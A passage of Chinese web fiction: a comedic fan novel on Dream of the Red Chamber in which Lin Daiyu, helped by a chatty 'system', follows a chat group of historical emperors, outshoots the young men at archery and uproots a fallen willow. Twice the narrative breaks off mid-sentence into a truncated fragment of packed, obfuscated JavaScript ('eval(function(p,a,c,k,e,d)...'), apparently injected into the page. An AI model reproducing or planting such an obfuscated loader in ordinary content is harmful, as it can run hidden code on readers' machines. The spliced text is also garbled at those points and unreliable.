“来得正好。”黛玉伸手，接过了那盏盖碗。 【宿主，群里有新消息。】系统适时来报。 7. 鼎沸的群聊 窗外芭蕉叶展，绿意融融，室内唯有茶烟一缕，袅袅升腾，又悄然散去。 黛玉握着杯沿，心神却早已沉入一方玄妙之境。 但见那光幕之上，字迹流转，正是几位九五至尊的闲谈。 【秦始皇】：太宗贤弟，还请宽怀。 【汉武帝】：太宗兄，何必耿耿。她终是将李氏的江山，完璧归赵。朕呢？朕毕生励精图治，到头来，天下竟落于外戚之手。岂非更可叹惋？ 【朱元璋】：咱老朱倒有几分看重那武媚娘。区区一女子，能于万千须眉丛中，杀出自己的江山，开创自己的名号，实在不是件易事。 【康熙】：朱爷爷此论甚是。孙辈观史，武周之世，亦是府库充盈，四海升平，自有盛世的气度。 【唐太宗】：尔等……尔等竟不觉此事荒唐悖谬，有违天伦纲常么？朕的才人，朕的……她如何能，又如何敢…… 李世民言语至此，竟是千回百转，再也说不下去。 【武则天】：哎呀，二郎，你这心胸，可是越发窄了。你素日不总爱说“以史为鉴，可以知兴替”？我这，权当是替你李家的天下，先蹚出一条新路来。何须动气？ 【唐太宗】：你！你还敢唤朕二郎？！ 【武则天】：不唤二郎，又当如何？称陛下么？你我如今同在此处，不过是史书上的几缕孤魂，何苦再端着那生前的架子。再说了，当年在宫里，你不是最爱听我这般唤你么…… 【妙哉！妙哉！】系统那声音已是乐得打跌，【这出戏，可是唱得情真意切，荡气回肠！】 黛玉敛了心神，抬起眼帘，正对上湘云一双澄澈秋水般的眸子。 “我在想，若然今日，那位则天皇帝，真与唐太宗当面对坐，又该是何等光景。”黛玉轻声笑道。 “这有何难想的？”湘云闻言，原先那份托腮的慵懒一扫而空。她挺直了腰身，竟端端正正剖析起来：“论气度，武则天必然是稳坐泰山，言笑晏晏；反倒是唐太宗，怕是要心神摇旌，手足无措了。” “哦？”黛玉眉梢轻扬，“此话怎讲？” “林姐姐你想，”湘云说得兴起，眼中迸出神采，“唐太宗是何等样人？开疆拓土，创贞观之治，乃是万古流芳的圣君。他若知晓，当年侍奉笔墨、他正眼都未曾瞧过的一个小小才人，日后不止做了他儿子的皇后，更将他李家的龙椅都坐了去，这份心境……啧啧，是惊？是怒？是羞？还是愤？怕是五味一齐涌上心头，肝肠都要寸断了。” 【史大姑娘此言，可谓一针见血！】系统适时插言，【如今那群里的唐太宗，方才已是黯然无声，足有半盏茶的工夫未曾言语了。】 黛玉笑着点头道：“云妹妹这番见解，确是新奇，又直指人心。” “那是自然！”湘云得了夸赞，下巴微扬，颇有几分自得。 黛玉定定看着她，语声缓缓：“云妹妹若是生在武皇陛下那个朝代，想必也是一位不让须眉的奇女子。” “这话不假！”湘云听了，更是意气风发，双肩一挺，豪情顿生，“我定要……” “史大姑娘若生在那个时代，怕是头一个，就要被则天皇帝收拾了去。” 话音未落，只闻门外一人语音清润，字字句句却掷地有声。 却见帘栊轻动，薛宝钗已自门外转了进来。她步履轻悄，竟不曾惊起半点尘埃。 她身上穿着一袭奶白绸缎对襟褙子，底下是湘色暗花马面裙，周身并无金玉点缀，唯那份从骨子里透出的沉静，压住了这满室的浮光与人声。 看着黛玉湘云，她面上含笑，温煦可亲。 宝钗拣了近处一张梨花木的椅子坐下，姿态娴雅已极。 她继续言道：“则天皇帝一生最忌惮何等人？无非是那些功高震主、锋芒毕露的臣子。史大姑娘这般烈火烹油的性情，倘若真生在那个朝代，岂非是自投罗网，自寻烦恼？” 湘云一张脸，霎时涨得通红，两道柳眉倒竖起来：“宝姐姐这话，是说我不知收敛，行事鲁莽？” “妹妹误会了。”宝钗的声音依旧柔和，清清楚楚道，“我说的，是女子欲成大事，必先懂得审时度势，藏锋守拙。譬如武皇陛下，在太宗朝，不过区区一介才人，于三千粉黛之中寂寂无名；到了高宗朝，却能步步为营，终至母仪天下，君临万邦。这其中，须得多少隐忍，多少机谋，又岂是单凭一股少年人的血气之勇，就能成就的？” 黛玉的眸光，清凌凌地流转，从湘云那张又气又恼的可爱脸上，缓缓移开，落定在宝钗那张无懈可击的雍容华贵面容上：“听宝姐姐这番高论，竟是对则天皇帝的生平际遇，知之甚深。” 言罢，她便不再多言，只端起案上那盏雨花茶，用杯盖慢条斯理地撇去浮沫。一举一动，皆是画中人的风姿。 “深知二字，愧不敢当。”宝钗谦逊一笑，“不过是闲来无事，翻阅史书，觉得古往今来的女子，能于青史之上留下姓名的，寥若晨星。则天皇帝纵有千般不是，万种争议，却终究是真正扭转过乾坤、掌握过天下的一个人物。” 【奴家的好姑娘，留神了！这宝丫头话里有话，句句不离那女皇帝，莫不是她自个儿也存了那样的心思？】脑中，系统那饶舌的声音又聒噪起来。 “她一向如此。”黛玉于心中淡然回应，“面上是温良恭俭，心里头的丘壑城府，却比谁都深。” 她将那盏汝窑天青釉茶盏款款举至唇边，茶是才烹的雨前龙井，汤色碧莹，茶香清冽。只那么轻轻一呷，便觉满口余甘。 正凝神品味这片刻的悠闲，脑中那不安分的声音又急急响起，搅乱了一池春水： 【我的姑娘！那个武则天，了不得的武则天，方才竟悄没声儿地寻您说话了！简称私聊！】 武则天？这位开天辟地头一遭的女皇帝，私下里寻自己，能有什么好事？ 她意念微动，一方外人断不能窥见的私聊画卷，便在识海中豁然洞开。 只见那画卷之上，一尊日月凌空的金头像下，一行霸气外露的墨字赫然在目： 【则天大圣皇帝】：小丫头，你倒有趣。朕知你一直在窥屏瞧着。 黛玉眯了眯那双含情目。 她素来自诩是这方天地的局外人，是那隔着水晶帘子听八卦的闲散人员。这武则天，是何等通天的眼力，竟能看穿她的好奇心。 【我的个天！这女皇大人怕不是成了精，竟能勘破姑娘您的隐身之法！要不咱们赶紧断了线，暂避其锋芒？这等人物，还是少招惹为妙！】 “不必。”黛玉心下自有丘壑，面上分毫不露，只淡淡回应。 “她既然点破了，我若躲了，反倒落了下乘。索性大大方方，会一会这位千古第一人。” 指尖在虚空中轻点，一行清隽灵秀的小字便回了过去，恰如其人： 【潇湘妃子】：武皇陛下慧眼，烛照万里。晚辈确在此处，已观摩多时了。 【则天大圣皇帝】：朕只好奇一事。 【潇湘妃子】：武皇陛下请讲，晚辈洗耳恭听。 【则天大圣皇帝】：你既有此神通，为何自那天香楼之事后，便不现身？是怕了这群口沫横飞的臭男人，还是……另有什么见不得光的图谋？ 黛玉瞧着这句开门见山的问话，笑了。 武则天，果然犀利敏锐得令人心惊。 与此同时，那喧闹不已的帝王群中，又掀起了新的浪头。 【李世民】：媚娘，朕只问你，你究竟是何时，动了那个念头的？ 【武则天】：哪个念头？陛下的怀疑那样多，臣妾哪里猜得过来。 【李世民】：就是……就是君临天下，取李唐而代之的念头！ 【武则天】：哦，这个啊。大抵，是在陛下让我驯服那匹烈马之后吧。 【李世民】：…… 【嬴政】：哈哈哈哈！李世民，你也有今日！这岂非是说，你叫你的女人结结实实算计了半辈子！活该！ 【刘彻】：始皇兄此言未免五十步笑百步。您当年，不也叫赵高与李斯两个竖子玩弄于股掌，连传国玉玺都弄丢了？ 【嬴政】：竖子放肆！ 【朱元璋】：都给咱闭嘴！谁家还没几件腌臜事？咱老朱家后来那些个不肖子孙，咱要是能从棺材里头爬出来，非得一个一个亲手掐死不可！ 【玄烨】：诸位前辈暂息雷霆之怒。晚辈倒是觉得，武皇陛下能成千古未有之大业，亦是时也，势也。若她当真无才无德，又如何能叫满朝文武俯首，天下百姓归心？ 【武则天】：还是小玄烨这孩子会说话，有见地。不像某些人，死了上千年，还在纠结什么男女之别，那器量，也就针尖儿大小。 【李世民】：朕……朕要静一静。 【玄烨】：朕素来钦佩则天陛下。能从一介小小才人，行至九五之尊，这份魄力与手段，岂是寻常人可及？ 【武则天】：多谢康熙陛下谬赞。说起来，贵府的那位孝庄太皇太后，朕亦是十分敬佩的。真想见见。 【李世民】：…… 【李世民已退出群聊】 【哎哟喂！】那系统乐得几乎要打跌，【宿主您快瞧！堂堂天可汗，竟被气得掩面走了！这可真是三千年未有之旷世奇闻！笑煞我也！】 黛玉竭力忍住笑意，抬眼却见湘云与宝钗二人，还在为那位千古女帝的是非功过争得面红耳赤。 “要我说，”湘云一拍身旁的小几，震得那描金缠枝的茶碗都跳了一下，“武则天就是好样的！管他什么三纲五常，什么陈规旧矩，有本事的女人，就该站出来让天下人都瞧瞧，谁说女子不如男！” “史大姑娘这话，若是让外头那些个道学先生听了去，怕是要惹出天大的祸事来。”宝钗一贯的温言软语，语调却颇为自信沉稳。 “我才不怕！”湘云梗着脖子，一双明亮的杏眼直直望向黛玉，求起声援来，“林姐姐，你说，是不是这个理儿？” 黛玉正端着那盏茶，指尖将将触到杯沿微烫的釉面，脑中却蓦地又响起一阵急 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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【宿主，】系统八卦的声音果不其然地又在黛玉脑中响了起来，【要不要和则天圣后说一句，说那唐太宗私聊来寻您哭鼻子？】 黛玉眼波微转，落在另一边私语的界面上。只见那唐宗宋祖中的“唐宗”，只是先自礼貌打了个招呼，此刻并无半句言语，只显示那“正在输入”的圆点，那点点滴滴，看起来是诉不尽胸中的愤懑，道不完心头的委屈。 末了，才憋出一句话来。 【唐太宗】：小友啊，你说，朕当年是不是被猪油蒙了心？ “罢了。”黛玉在心中轻叹，指尖一动，便将这帝王间的痴缠爱怨抛诸脑后，“这对冤家，随他们闹去就是。” 群里吵的翻天覆地，她竟然就此下线了。 欲要吃瓜，稍后看那聊天记录即可，无谓参与其中，引火烧身。 她抬起首，一双似喜非喜含情目望向窗外。 窗外芭蕉翠展，绿意浓浓。正凝神间，一个熟悉的身影已走过太湖石，朝着潇湘馆快步而来，手里还珍重地捏着件什么物事。 “姑娘快瞧，宝二爷来了。”紫鹃在一旁打帘子，轻声提醒。 话音未落，一旁的史湘云听见了，立时从那铺着秋香色软垫的坐榻上跳将起来，活像一只被惊着了的小鹿。 “爱哥哥来了！”湘云的语速又快又急，颇有娇憨，“林姐姐今日正要同我说些体己话，他一个须眉浊物，来凑什么趣儿！岂不是讨人嫌？” 言毕，人已如轻烟，卷过门槛，直奔院中去了。 宝钗坐在一旁，慢条斯理地拨弄着茶盏里的茶叶末子，见了这般光景，只得无奈地摇头，脸上却含着温柔的笑意：“云丫头这风风火火的性子，也不知几时能沉静些。” 黛玉的目光随之而去，望见庭中湘云将那衔玉而生的宝二爷堵得左支右绌，进退两难，那窘态实在可笑，不由得笑了。 只听湘云那嗓音响彻了半个院子，清脆爽利：“宝哥哥，你来得正好！我正要寻你比试骑射呢！林姐姐，你说是不是？” 这后半句，却是朝着屋里喊的。 “骑射？”黛玉秀眉轻挑，“这园子里亭台楼阁，莺花烂漫，何处寻那跑马射箭的开阔地界，容你们两个放肆驰骋？” “嘿嘿，”湘云一阵旋风似的又跑了回来，几步窜至黛玉跟前，神秘兮兮地凑到她耳边：“我早打探停当了！后头那片杏子林后头，新辟了一处小小的演武场，空旷得很！怎么样，去是不去？” 【系统：剧情关键点已探知！史湘云邀您前往演武场，接受邀请即可触发“巾帼不让须眉”支线任务。任务奖励：随机帝王技能卡一张。】 帝王技能卡？黛玉眸中一亮。这倒是个闻所未闻的新鲜物事。 “紫鹃。”黛玉扬声吩咐，声音清清泠泠，自有分量。 紫鹃忙上前一步：“姑娘有何吩咐？” “去把我箱底那身木兰款的骑装取来。” 【花木兰同款！女将军Look要上线吗？奴家好期待！嘤嘤嘤~】 紫鹃略略诧异，忍不住问道：“姑娘，您这是要……” 黛玉已然亭亭起身，淡淡扫了湘云那一身飒爽装扮，说道：“云妹妹尚且有此豪情，我若还是这副病病歪歪的形容，岂不辜负了这满园的风光与她的盛情？” 湘云闻言，一双眼亮得惊人，几乎要跳起来，一把抓住黛玉的袖子：“我就知道！我就知道林姐姐最是爽快不过的！” 8. 贵族女子骑射 宝钗见她们要去舞刀弄剑，便款款告辞了。 片刻之后，当黛玉换了装束，自内室走出，连素来见惯了女子穿戎装的湘云，也看得呆住了。 黛玉着一身玄色箭袖劲装，腰间束着鸾鸟纹的宽面革带，愈发显得腰肢纤细，身姿挺拔，英气飒然。 【奴家的好宿主，用了奴家提供的千百年来集大成健身强体的方式，果然看起来精神许多。这Look好飒！】 她那三千青丝用玉冠高高束起，鬓边斜斜插了一支白玉簪，玉质温润，恰恰中和了劲装的凌厉，整个人颇为柔美、潇洒。 “林姐姐，你这般模样……”湘云看得直了眼，“真是……真是画上的人儿也比不过！” 【叮咚～史湘云好感度+20，当前好感度：85。温馨提示：好感度突破90将解锁特殊剧情哟～嘻嘻～】 黛玉淡淡一笑：“走吧，莫让宝玉等急了。” 二人并肩步出潇湘馆，一路行去，惹得园中丫鬟仆妇们无不注目，交头接耳，窃窃私语。 待行至演武场，果见宝玉已等在那里，身旁还立着薛蟠、贾蓉几个。 “哟，这不是林妹妹么？”薛蟠一见黛玉这身行头，一双眼睛都快黏在她身上了，“今儿这日头是从西边儿出来了？” 黛玉眼锋冷冷刮过他那张痴肥的脸：“薛大爷这话好生奇怪。莫非在薛大爷眼中，女子便只该在闺阁中描鸾绣凤，连这骑马射箭的本事都学不得？” 须知道天朝太祖，乃是马上得天下，素来是鼓励世家子弟，包括女子骑马射箭的。打马球之类的游戏在贵族女子之间也颇为流行。 “不不不，我哪是那意思……”薛蟠被她那迫人的气势一压，顿时舌头打了结，慌忙摆手。 宝玉一双眼只痴痴地看着黛玉，满是惊艳：“林妹妹这身装束，真真是……” “是什么？”黛玉似笑非笑，睨着他。 “是……是巾帼不让须眉！”宝玉憋了半日，才寻出这么个词来。 【系统：哼哼渣男文学鉴定完毕。宝玉此刻内心独白：妹妹美得让我心慌，可我不敢直说，怕她恼我。】 黛玉心底泛起一声冷笑，面上却是平静得很，环视周遭，目光徐徐扫过那群锦衣绣袴的公子哥儿，樱唇轻启：“今儿既都聚在了这演武场，总不能只作壁上观，行口舌之快。不知在场的诸位爷们，可有哪位愿意下场，与我这闺阁弱质切磋一二？” 这话掷地，四座皆是一片哗然。那些方才还高谈阔论、指点江山的纨绔子弟，此刻都面面相觑，你看我，我看你，竟无一人出声应答。 贾蓉那张粉面堆出来的笑，倒比嚎丧还难看三分，只讪讪地向黛玉说道：“我的林姑姑，您这话可真真折了侄儿的寿。我们这起子只晓得舞刀弄棒的粗人，哪里配与姑姑动真格的？这要传扬出去，岂不叫都中人物把我们宁府的脊梁骨都戳断了？” “哦？”黛玉只缓步走到侍女身侧，取过一张秀弓。她并不看人，也不看靶，纤纤指尖沿着弓臂寸寸抚过，那风流，竟比闺中调琴弄弦，更迷人许多。 “蓉大爷这话，倒是奇了。莫非是说，我这女儿家的，便不配上这演武场，与诸位爷们见个高低？” 话音尚在唇边，她已信手拈起支狼牙箭，利落地搭上弓弦。众人尚未看清她如何动作，只见那素腕一抬，手臂舒展，甚至都未曾向远处瞥上一眼，扣弦的修长有力指尖倏地松开。 “嗡……” 一声弦响，箭矢离弦，竟如流星赶月，破开风声，直直钉入百步开外箭靶的红心！箭尾的羽翎兀自震动，似在无情地讽刺着这满场的寂静。 方才还人声鼎沸的演武场，此刻掉根针都能听得见。众人无不伸长了脖颈，瞪圆了眼睛。 【系统：恭喜宿主！一箭封喉！绝地反杀！全场震惊指数瞬间满格，点数+100！】 【叮咚，帝王聊天群有新消息】 【则天大圣皇帝】：@林黛玉好个女子！打得漂亮！就该叫这起子自以为是的膏粱纨绔们开开眼，见识见识什么是凤子龙孙，什么又是土鸡瓦犬！ 【秦始皇】：此女，颇有朕当年一统六合的气魄。 【洪武皇帝】：不赖，真不赖！有咱马皇后的风范！老四家的徐氏，当年也能开硬弓！ 【唐太宗】：（该用户已退群，暂时无法发言。） 黛玉略略挑眉，也不言语，抬手便又是第二箭。 寒光复现，箭矢再度破空，依旧是分毫不差地正中靶心，竟与前一箭的箭杆紧紧相贴，合成一处。 “如何？”她这才侧过身，将弓递还侍女，那双秋水般的眸子清凌凌扫过众人，“如今，可还有哪位爷，愿下场赐教一二？” 话音未落，人群里跳出个明艳爽利的女子，不是史湘云又是谁。她用力拍着巴掌，高声叫好：“林姐姐，你这手功夫可真叫人佩服！算我一个！咱们姐妹两个比划比划，也叫这群大老爷们瞧瞧，咱们女儿家是不是只会描鸾绣凤！” 于是，这演武场上便展开了一场两位侯府千金之间的比试。 众人只见黛玉每一箭射出，皆是神闲气定，举重若轻，箭无虚发。她挽弓时那沉静的模样，看得一旁的宝玉整个人都呆了，心旌摇荡，魂魄不知飞去了何处。便是那向来无法无天的薛蟠，此刻也忘了言语，只张着个嘴，痴痴地看着场中那纤影。 【系统：宿主，您这神乎其神的箭术是从何处习得的？虽说你的身体比原来好了许多，可是你的技能包里，可断断没有这项。】 “方才系统酱你不是提示，有帝王技能卡可用？”黛玉一面平复着心口的气血，一面在心中回应，“我不过是预支了些许罢了。” 【系统：……您这空子钻的，真是叫奴家大开眼界，自愧弗如。罢了，瞧在任务即将完成的份上，这笔账暂且记下。】 忽闻人群外围起了阵骚动，接着便听见有人殷勤招呼： “哎哟，这不是宝姑娘么？这样大的日头，您怎么也过来了？” 众人闻声回头，只见薛宝钗换了一身蜜合色长裙，缓步而来。她在一众短打劲装的少年郎君之中，愈发显得身姿丰韵，气度雍容。 宝钗目光掠过场中英姿飒爽的黛玉，情绪飞速翻涌，面上到是那人人都称颂的端庄样子。 “林妹妹好大的兴致。”宝钗莲步轻移，行至近前，“这一手百步穿杨的绝技，可真是叫人开了眼界。” 黛玉收了势，将弓轻轻放回架上，语气平淡：“闲来无事，胡乱顽笑罢了，哪里就算什么绝技。倒是宝姐姐，刚才不是说要回蘅芜苑休息吗？怎地究竟也到这喧闹的地方来了？” “听见这边喝彩声震天，便过来瞧瞧是何等的新鲜事。”宝钗的笑意深了几分，“只是妹妹这般剧烈运动，可得仔细着身子才是。咱们女儿家，筋骨皮肉到底不比男儿们结实。” 【系统：检测到薛宝钗内心高强度活动：她怎么什么都会？！琴棋书画，诗词歌赋，如今连骑马射箭都这般出类拔萃！这还让旁人怎么活？！】 黛玉正欲开口回话，忽觉眼前景物急速旋转，一阵天旋地转的晕眩猛地袭来，脚下登时一软。 “林姐姐！”湘云眼最尖，第一个发觉不对，三步并作两步抢上前来，一把扶住她晃动的身子，“你怎么了？” 【系统：警报！警报！宿主技能使用超出当前躯体负荷，能量值已跌破警戒线！】 黛玉暗中眯眯眼，心知是方才逞强太过，只得面上保持着平静：“无妨，许是用力猛了些。” 湘云却已扶紧了她的手臂。 “我就说让你仔细身子！”宝钗也急忙凑上前，“快，快扶林妹妹回屋里歇着。” 宝玉更是急得手足无措，围着黛玉团团转：“都怪我，都怪我！我就不该让妹妹来这等尘土飞扬的地方……” 湘云与紫鹃一左一右，将黛玉稳稳当当搀回了潇湘馆。 方一踏进那熟悉的翠竹影里，黛玉便觉好了许多，或许是自己的潇湘馆的气场颇为养人。 湘云又是把脉又是摸头，见她果然好了许多，才放下心来，那张小嘴便叽叽喳喳起来：“我的好姐姐，你方才那通身的气派，那番手段，真真叫人五体投地！” 黛玉解了斗篷，任由紫鹃挂在衣架上。她斜签着身子，懒懒倚在窗下那张矮榻，一双似喜非喜含情目，只静静瞧着湘云在她跟前手舞足蹈，说得眉飞色舞。湘云那张红扑扑的脸颊，像极了三月里初绽的桃花瓣儿，鲜活，娇嫩。 “云儿。” 湘云的话音骤然一收，一双杏眼骨碌碌转过来，水汪汪的。 “日后，但凡有哪个给你气受，或言语上，或行止上，让你受了半分委屈，你只管来寻我。纵是天塌下来，自有我这副病骨头替你撑着。” 湘云闻言，先是怔住，眼圈倏地红了。旋即，那点水汽又被她强行压下，嘴角猛地一咧，露出两颗尖尖的、俏皮的小虎牙。 “这话我可听真了！好姐姐，一言既出，驷马难追！往后你可不许赖账，不然我便……我便天天到你这潇湘馆来，吃你的，喝你的，把你那点子家底都给折腾光！” 【系统：贺喜宿主！隐藏任务“护花”已然开启。史湘云情意值，飙升十分，现为九十五分也！数值已临关隘，即将破百！请宿主预备，早做筹备，否则恐有不测之变！】 黛玉尚不及细问系统这“筹备”二字究竟藏着何等玄机，【宿主，】系统的声音凭空在脑中响起，依旧是一股子看热闹不嫌事大的兴奋，【群里又有新戏文上演了。】 黛玉垂下眼，神思便沉入那方寸天地之间。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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【唐太宗】：媚娘所言，句句在理。成大事者，原不拘小节。她能登临大宝，成一代女皇，是她的本事，是她的造化！她能当皇帝，这恰恰说明了什么？说明了朕的眼光卓绝，慧眼识珠！毕竟，是朕，于万千宫人之中，一眼便发掘了她的盖世才干！朕……朕为我大唐能出此等旷世奇才，心中甚慰，与有荣焉！ 【武则天】：哼，算你还识些时务。 【康熙帝玄烨】：......李二郎这脑子，是被驴踢了，还是让宫门夹了？这弯转得，朕的腰都快闪了。 【秦始皇嬴政】：朕收回前言。此人非但蠢，且蠢得无可救药。 【汉武帝刘彻】：李世民，你这颠倒黑白、指鹿为马的本事，朕甘拜下风。 【秦始皇嬴政】：且慢！你们二人方才私下究竟说了什么？这风向转得，比翻书还快！ 【汉武帝刘彻】：朕嗅到了阴谋与胁迫的气味。 【洪武帝朱元璋】：武妹子，你莫不是拿住了李二什么要命的把柄，逼他就范了？ 【武则天】：何至于此？不过是与二郎好生追忆了一番当年……旧事罢了。 【唐太宗】：咳咳，往事如烟，休要再提！休要再提！ 【康熙帝玄烨】：……朕忽然不想知道了。总觉得知道了，今晚会做噩梦。 【宿主，奴家好奇得抓心挠肝！他们到底说了什么见不得人的秘密？快，快让我看看！】 黛玉眯着眼笑。 “大约，是些不足为外人道的宫廷风月，江山秘闻罢了。” 她话音落定，指下那把银剪却未停歇，“咔”的一声，又一片枯黄的叶子应声而落，干净利落。 光阴荏苒，倏忽又过了数日。 潇湘馆中，日影爬过粉墙，穿过翠竹，懒懒地，在一方美人靠上，洒下柔柔的光。 林黛玉斜签着身子，手里拿着一卷《史记》，眼神却散了，飘飘摇摇，只因脑中那面唤作“历代帝王聊天群”的乾坤镜，此刻正鼓噪不休。 黛玉幽幽叹出一口气，将书卷轻轻合上。 【系统：禀宿主，据奴家抽样清点，自辰时起，已有七拨人马途经潇湘馆，其中五拨人，都往您这边探看。】 “无聊。” 【秦始皇】：啧，想朕当年巡幸天下，六国遗孽何止百万，敢这般明目张胆窥伺龙驾的，如今坟头上的野草怕已长过三尺。 【汉武帝】：@秦始皇嬴政兄此言谬矣。敢瞧你的，不是叫你亲手坑了，便是叫你那不中用的儿子坑了。横竖是殊途同归，早死晚死罢了。 【唐太宗】：二位陛下前辈暂息雷霆之怒。朕倒是好奇，那余下两拨未曾偷看的，是哪路神仙？竟有这般坐怀不乱的定力。 【系统：回陛下的话，是薛家太太与那位进荣国府打秋风的刘姥姥。】 【康熙】：……朕怎么觉得，这系统，比朕当年批阅奏折还要清闲？ 黛玉笑着摇头，那双似蹙非蹙的眉眼微微弯起，水波流转。 自无端得了这劳什子，她这清净无为的日子，便平白添了无数旁人听不见也瞧不见的“热闹”。倒是令人无奈又好笑。 正自出神，忽听院外一声清脆呼唤，如黄鹂出谷：“林姐姐！” 9. 林黛玉倒拔垂杨柳 话音未落，一团烧也似的大红身影已旋至眼前。来者正是史湘云，满面皆是笑，两颗小虎牙在日光下莹莹生光。因跑得急了，鬓边几朵颤巍巍的珠花，不住地乱晃，映得她脸颊也泛起桃色。 “好姐姐，快别坐着了，随我来罢！凤姐姐方才下了帖子，说今儿要在藕香榭开社作诗，连题都拟好了，正是应景的‘春日游园’！你若再不去，这诗社还有什么意趣可言？” 黛玉将那卷书徐徐搁在案上，眼波一抬，睇着湘云笑道：“瞧你这猴儿般急切的模样，可是又动了争强好胜的心思，想着拔得头筹，好去众人跟前显摆不成？” “我哪里是为着自己！”湘云面颊登时一热，旋即又将胸脯一挺，言语间是她惯有的爽利娇憨，“我是盼着姐姐再作出惊天动地的句子来。上回那首《梨花吟》，宝姐姐私下里还同我念叨了好几遭，只说句句锥心，她是如何也作不出的。今日这般好景致，姐姐一出手，定能叫她们都做了陪衬！” 【系统：侦测到史湘云好感度+5，当前好感度：85（视为知己）】 【秦始皇】：八十五便算知己了？朕瞧这小丫头的眼神，怎么看也不像是瞧知己的。 【汉武帝】：始皇所言极是。朕戎马一生，见过太多百战之士瞧他们心爱兵刃的眼神，便是如此。那里面有火，有光，恨不能将那刀枪剑戟都天天抱着睡觉里去。 【唐太宗】：二位未免将人心看得太过了。闺阁女儿家，情谊最是纯真不过，哪里就有那许多九曲十八弯的绕绕肠子。 【康熙】：@唐太宗世民兄，朕劝你得空多翻翻宗卷。档案里写得明明白白，此女曾因醉酒酣卧于芍药花圃之中，梦里呓语，口口声声唤的，正是‘黛玉’二字。你再品品这滋味？ 黛玉垂下眼，纤长的手指捻起案上一瓣飘落的桃花。 她转过头，望向湘云，轻轻一笑。 【系统：啧啧啧，这些青史留名的著名皇帝们真是太八卦了.jpg】 这群古人吵得黛玉脑仁儿生疼，她面上却依旧是那副清冷模样，只伸出素手，替湘云理了理被风吹得微乱的发。 “既是凤姐姐邀约，断没有不去的道理。只是你这般冒冒失失的，仔细待会儿入了座，心还野在园子里，作不出诗来。” 湘云被她一碰，身子都僵了半边，嘴上却不肯认：“谁、谁冒失了！我这不是……急着来请姐姐嘛！” 二人挽手同行，穿花度柳，行至沁芳亭左近，只见前方人影绰绰，语声嘈切，竟是围了好些人。 未走近，先听见王熙凤那一把响亮又爽脆的嗓子：“这可怎么处？平白地倒了这棵老柳，竟把路堵了个严实！偏生那些个匠人，都调去修别苑了，一时半会儿哪里叫得来人？” 探春的声音接着响起，几分清傲：“绕路走便是了，多走几步罢了，也值得这般大惊小怪。” 只听宝钗温和圆融的语声传来：“三妹妹不知，老太太特意吩咐了，今儿的诗社就设在藕香榭的‘临水轩’，说那儿敞亮，水气足，最宜养神。可巧这株老柳树，也不知是遭了风还是怎的，正正倒在必经的路上。” 黛玉随湘云拨开人群，抬眼望去。果见一株需合抱的垂杨柳，拦腰横断，枝叶萎靡，如颓然倒地，恰恰将那羊肠小径堵了个水泄不通。 【系统：宿主，侦测到剧情扭转之机。是否启用‘天授大力’？三天前奴家才从商城里白P……咳，是辛辛苦苦攒分换的。宿主可要一试？】 【秦始皇：】等等，天授大力？林黛玉？朕没记错，这林家丫头不是走两步路就要喘的么？ 【汉武帝：】正是。她心疾孱弱，是标准的病美人。你这大力，外挂，开得是否过于离谱？ 【系统：诸位陛下有所不知。奴家的外挂，皆讲究‘合理化’。瞧着是弱柳扶风，用起来嘛……嘿嘿。】 黛玉心中念头飞转，面上却是一派为难，眉尖轻蹙：“这树瞧着倒不算顶大，只是……” 果然，湘云一双眸子晶亮，抢先问道：“林姐姐这话，莫非是有了什么绝妙主意？” “主意算不上。”黛玉拿帕子虚虚掩着唇，轻嗽一声，那神态偏作出几分深思的模样，“不过是在哪本杂书上瞧见过，说是世间万物皆有其理，力有千钧，亦有四两可拨之时。今日这光景，倒不妨一试。” 此言一出，众人心中各是一番计较，面上神情也便万千气象。 王熙凤是头一个忍不住的，一方绣帕几乎要揉碎，口里却笑得花枝乱颤，一双丹凤眼弯作新月：“我的好妹妹，你这是看书看痴了不成？就你这风吹吹就要倒的样儿，还学那花和尚去拔垂杨柳？休说拔树，只怕是风大些，倒先把人吹跑了！” 宝玉听了这话，心头一紧，人已抢上一步，面色是真急了：“好妹妹，可别胡闹。这树身沉重，你如此娇贵，万一磕着碰着，那可怎么处？” 【系统：宿主，是否确认开启？友情提点，聊天群内诸位陛下已开盘下注，赌您能否挪动此树。当前赔率，一赔一百。】 黛玉心底冷笑一声：开。给我往大了开。 【系统：指令已接收。临时增益‘力拔山兮气盖世’启动。效用时限：五分钟。】 【项羽】：？？？哪个狗贼在盗用本霸王的词条？连个招呼也不打？ 【系统：肃静。非帝王群成员，禁止发言。】 【项羽】：嘤嘤嘤。 黛玉不再理会脑中喧哗，袅袅婷婷，向前两步，忽地回眸一笑。那笑意里，竟凭空生出些许平日里绝难寻见的桃花岛同款江湖邪气，看得人心头无端一跳。 【宿主，你这腹黑的表情，莫非是看那些武侠花本子小说看多了？】 她不理系统鼓噪，款步走到那老柳树跟前，众人不知所以，也只好纷纷跟着出了亭子。 这柳树委实粗壮，怕是三个女儿家也合抱不来。树皮裂开，尽是风霜刻下的痕迹。 “林妹妹，你可千万莫要逞强。”宝钗眸中含着忧虑。 “是啊，姐姐，这可不是笔墨上的游戏。”探春也跟着劝。 众人瞩目之下，只见黛玉伸出一双素手，贵族家庭里，闺阁少女的保养，比那上好的羊脂玉还要白净几分。她将指尖轻轻搭在粗糙的树干上，好似不是要撼动巨木，倒像是在为古琴调弦。 “林姐姐当心！”湘云一颗心提到了嗓子眼，人便要冲上去。 说时迟，那时快。黛玉手腕只轻轻一转，那动作瞧着是何等风轻云淡，何等不着痕迹，却带动了一股沛然的巨力。在众人眼中，只觉得眼前一晃，那盘根错节、早已与大地融为一体的百年老柳，竟被她硬生生从泥土中提了起来！ 不过，这景象，在旁人眼中，更像是黛玉不知用了什么武功巧劲，寻着了那树的关窍，只轻轻一撬，便将它撬离了地面。 四两拨千斤，是以她一个弱女子也可以拔起这垂杨柳，倒也说得过去，毕竟那格物致知的本事，凡是稍微理念过学堂的人倒也知道。 唯有那群里的帝王们，借着系统的视角，才看清了真相。这压根不是什么格物致知，就是蛮力，开了挂，大力出奇迹罢了。 【唐太宗】：？？？这他娘的是撬？这分明是单手给举起来了！ 【康熙】：朕的格物之学，今日算是废了。 